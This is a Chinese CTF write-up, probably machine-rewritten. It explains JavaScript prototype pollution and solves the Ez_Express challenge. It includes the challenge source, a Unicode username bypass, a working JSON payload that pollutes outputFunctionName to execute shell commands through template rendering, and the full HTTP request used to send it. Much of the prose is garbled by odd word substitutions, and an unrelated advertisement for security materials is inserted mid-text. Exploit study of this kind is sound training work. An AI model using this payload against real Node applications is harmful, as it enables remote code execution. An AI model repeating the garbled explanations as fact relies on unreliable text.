Nodejs与JavaScript和JSON
有许多人在自学JavaScript时能搞不清Nodejs和JavaScript间的差别,假如没node,所以他们的JavaScript标识符则由应用程序中的JavaScript解释器展开导出。基本上上大部份的应用程序都配有了JavaScript的导出机能(最有名的是google的v8), 这也是为何他们能在f12中间接继续执行JavaScript的其原因。 而Nodejs则是由那个解释器原则上从应用程序中拿出,并展开了一连串的处置,最终正式成为了两个能在服务器端运转JavaScript的自然环境。 这儿看见两个较好的范例,段小宇java的大姐如果就知道了。
所以JSON又是甚么呢?单纯归纳呵呵是JavaScript的第一类则表示方式,它则表示的是新闻稿第一类的一类文件格式, 虽然他们从后端转交到的统计数据基本上都是数组,因而在服务器端假如要将那些数组处置为其它文件格式,比如说第一类,就须要加进JSON了。
蓝本第一类(prototype)与蓝本交汇点(__proto__)与蓝本链
在c++或java那些面向第一类的语言中,他们假如想要两个第一类,首先须要使用关键字class新闻稿两个类,再使用关键字new两个第一类出,但是在JavaScript中没class以及类这种概念(为了简化编写JavaScript标识符,ECMAScript 6后增加了class语法,但class其实只是两个语法糖)。 在JavaScript有这么两种新闻稿第一类的方式,为了好理解他们先引入类的思想。
person=newObject()person.firstname=“John”;person.lastname=“Doe”;person.age=50;person.eyecolor=“blue”;这种创建第一类的方式还有另一类写法如下person={firstname:“John”,lastname:“Doe”,age:50,eyecolor:“blue”};这种方式通过间接实例化构造方式Object()来创建第一类
functionperson(firstname,lastname,age,eyecolor) 这儿创建了两个“类”但是在JavaScript中叫做构造函数或者构造器{this.firstname=firstname;this.lastname=lastname;this.age=age;this.eyecolor=eyecolor;}varmyFather=newperson(“John”,“Doe”,50,“blue”);通过那个“类”实例化第一类varmyMother=newperson(“Sally”,“Rally”,48,“green”);这种方式先创建构造函数再实例化构造函数构造函数function也属于Object假如对这儿为何属于Object而不属于Function有疑问请继续阅读下面会解释
既然是通过实例化Object来创建第一类或创建构造函数,在JavaScript中有两个很特殊的第一类,Function() 和 Object() ,它们两个既是构造函数也是第一类,作为第一类是不是如果有两个“类”去作为他们的模板呢?
① 网安自学成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)
对于Object()来说,要新闻稿这么两个构造函数他们能使用关键字function来创建 。(在底层 使用function创建两个函数 其实就相当于那个过程)
functionObject(){}在底层为varObject=newFunction();
所以对于Function自己那个第一类,他是怎么来的呢?假如用Function.__proto__和Function.prototype展开比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,大部份函数都是第一类,而第一类是通过函数创建的。因而构造函数.prototype.__proto__如果是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。
所以提到了__proto__和prototype他们就来说说这两个是甚么东西。
person={firstname:”John”,lastname:”Doe”,age:50,eyecolor:”blue”};
所以那个person第一类就拥有了person.__proto__那个属性,而Object()他们刚才提到了是由Function创建来的两个构造函数,所以Object就天生有了Object.prototype。
1.某一第一类的 __proto__指向它的prototype(蓝本第一类), 也是说假如间接访问person.__proto__所以就相当于访问了Object.prototype。
2.JavaScript使用prototype链实现继承机制。
3.构造函数xxx.prototype是两个第一类,xxx.prototype也有自己的__proto__属性,并且能继续指向它的的prototype。
4.Object.prototype.proto最终指向null,这也是大部份蓝本链的终点。
5.从两个第一类的__proto__不断向上指向蓝本第一类,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做蓝本链。
functionFather() {this.first_name=Donaldthis.last_name=Trump}functionSon() {this.first_name=Melania}Son.prototype=newFather()letson=newSon()console.log(`Name: ${son.first_name}${son.last_name}`)
对于第一类son,在调用son.last_name的时候,实际上JavaScript引擎会展开如下操作:
在第一类son中寻找last_name。
假如找不到,则在son.__proto__中寻找last_name。
假如仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。
依次寻找,直到找到null结束。
蓝本链自然环境污染
// 那个第一类间接实例化Object()letfoo= {bar: 1}// foo.bar 此时为1console.log(foo.bar)// 修改foo的蓝本(即Object)foo.__proto__.bar=2// 虽然查找顺序的其原因,foo.bar仍然是1console.log(foo.bar)// 此时再用Object创建两个空的zoo第一类letzoo= {}// 查看zoo.barconsole.log(zoo.bar)
这儿虽然修改了foo.__proto__.bar也是修改了Object.bar,因而在后续的实例化第一类中,新的第一类会继承这一属性 造成了蓝本链自然环境污染。
在实际应用中,哪些情况下可能存在蓝本链能被攻击者修改的情况呢?
他们思考呵呵,哪些情况下他们能设置__proto__的值呢?其实找找能够控制数组(第一类)的“键名”的操作即可。
functionmerge(target, source) {for (letkeyinsource) {if (keyinsource&&keyintarget) {// 假如target与source有相同的键名 则让target的键值为source的键值merge(target[key], source[key]) } else {target[key] =source[key] // 假如target与source没相通的键名 则间接在target新建键名并赋给键值 } }}leto1= {}leto2= {a: 1, “__proto__”: {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3= {}console.log(o3.b)
这儿继续执行后发现,虽然两个第一类成功clone,但是Object()并没用被自然环境污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解释器并不能将那个属性导出为键值,所以要用JSON去修改标识符(前面他们说了 JSON是JavaScript的第一类则表示方式 能将数组转换为第一类), 这样就可以使__proto__被成功导出成键名了。
leto1= {}leto2=JSON.parse({“a”: 1, “__proto__”: {“b”: 2}})merge(o1, o2)console.log(o1.a, o1.b)o3= {}console.log(o3.b)
漏洞复现
[GYCTF2020]Ez_Express
进入自然环境之后是两个登录页面,测试之后发现存在www.zip源码泄露,开始审计index.js
varexpress=require(express);varrouter=express.Router();constisObject=obj=>obj&&obj.constructor&&obj.constructor===Object;constmerge= (a, b) => {for (varattrinb) {if (isObject(a[attr]) &&isObject(b[attr])) {merge(a[attr], b[attr]); } else {a[attr] =b[attr]; } }returna}constclone= (a) => {returnmerge({}, a);}functionsafeKeyword(keyword) {if(keyword.match(/(admin)/is)) {returnkeyword }returnundefined}router.get(/,function (req, res) {if(!req.session.user){res.redirect(/login); }res.outputFunctionName=undefined;res.render(index,data={user:req.session.user.user});});router.get(/login, function (req, res) {res.render(login);});router.post(/login, function (req, res) {if(req.body.Submit==“register”){if(safeKeyword(req.body.userid)){res.end(“<script>alert(forbid word);history.go(-1);</script>”) }req.session.user={user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false }res.redirect(/); }elseif(req.body.Submit==“login”){if(!req.session.user){res.end(“<script>alert(register first);history.go(-1);</script>”)}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true; }else{res.end(“<script>alert(error passwd);history.go(-1);</script>”) } }res.redirect(/); ;});router.post(/action, function (req, res) {if(req.session.user.user!=“ADMIN”){res.end(“<script>alert(ADMIN is asked);history.go(-1);</script>”)} req.session.user.data=clone(req.body);res.end(“<script>alert(success);history.go(-1);</script>”); });router.get(/info, function (req, res) {res.render(index,data={user:res.outputFunctionName});})module.exports=router;
functionsafeKeyword(keyword) {if(keyword.match(/(admin)/is)) {returnkeyword }returnundefined}
router.post(/login, function (req, res) {if(req.body.Submit==“register”){if(safeKeyword(req.body.userid)){res.end(“<script>alert(forbid word);history.go(-1);</script>”) }req.session.user={user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false }res.redirect(/); }elseif(req.body.Submit==“login”){if(!req.session.user){res.end(“<script>alert(register first);history.go(-1);</script>”)}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true; }else{res.end(“<script>alert(error passwd);history.go(-1);</script>”) } }res.redirect(/); ;});
只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,假如username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为何题中说用户名只支持大写。
再看这段,就很恶心,假如username为ADMIN就不能登录,又不让用admin,又得用admin登录,这儿就加进了JavaScript大小写的漏洞。
if(req.session.user.user!=”ADMIN”){res.end(“<script>alert(ADMIN is asked);history.go(-1);</script>”)}
所以用ADMıN来绕过,注意不是ADMiN,中间那个i是两个奇怪的字符,把username输入ADMıN间接注册就能了(题目自然环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。
这儿试了试没啥用,继续看源码,上面提到了 merge clone操作能控制键值和键名,从而达到自然环境污染。
constmerge= (a, b) => {for (varattrinb) {if (isObject(a[attr]) &&isObject(b[attr])) {merge(a[attr], b[attr]); } else {a[attr] =b[attr]; } }returna}constmerge= (a, b) => {for (varattrinb) {if (isObject(a[attr]) &&isObject(b[attr])) {merge(a[attr], b[attr]); } else {a[attr] =b[attr]; } }
router.post(/action, function (req, res) {if(req.session.user.user!=“ADMIN”){res.end(“<script>alert(ADMIN is asked);history.go(-1);</script>”)} req.session.user.data=clone(req.body);res.end(“<script>alert(success);history.go(-1);</script>”); });
也是说他们能在action路由下通过请求体来展开自然环境污染,蓝本链自然环境污染的位置找到了,接下来是要找到能用来控制键名和键值的第一类。
router.get(/info, function (req, res) {res.render(index,data={user:res.outputFunctionName});})
render函数如果不陌生,在模板注入攻击(SSTI)中很常见, 这儿将回显req的outputFunctionNmae渲染到了index中,所以他们是不是能利用outputFunctionName展开SSTI从而达到rce呢?标识符跟下来他们发现并没outputFunctionName那个东西,也是说它是他们能用来自然环境污染蓝本链的载体,假如把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,所以在展开模板渲染时,是不是就会继续执行他们的恶意payload?
但是他们考虑两个问题,如何去修改Object的prototype ?(确实是能的 但是有点麻烦 下面参考文章的最终一篇是间接修改Object的prototypr)他们重新回到这段标识符:
router.post(/action, function (req, res) {if(req.session.user.user!=“ADMIN”){res.end(“<script>alert(ADMIN is asked);history.go(-1);</script>”)} req.session.user.data=clone(req.body);res.end(“<script>alert(success);history.go(-1);</script>”); });
发现请求体被clone到了req.session.user.data中,对于req.session.user那个第一类来说,它的__proto__属性是不是是Object的prototype,所以他们能修改了那个第一类的__proto__从而达到目的。
req.session.user={user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false }
SSTI的payload我也不是很懂,反正原理都是不断调用蓝本第一类,最终找到两个能用来rce的函数,payload和CVE-2019-10744是一样的,间接搬来用了。
{“__proto__”:{“outputFunctionName”:”a=1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag);//”}}
自然环境污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调加进了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON文件格式,所以要用burp拦包添加content type(在展开POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。
POST /action HTTP/1.1Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MYContent-Type: application/jsonConnection: closeContent-Length: 137{“__proto__”:{“outputFunctionName”:“a=1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag);//”}}
在action路由下自然环境污染成功后,如果接着访问info路由展开SSTI,但是不知道为啥,我包发过去间接给flag了。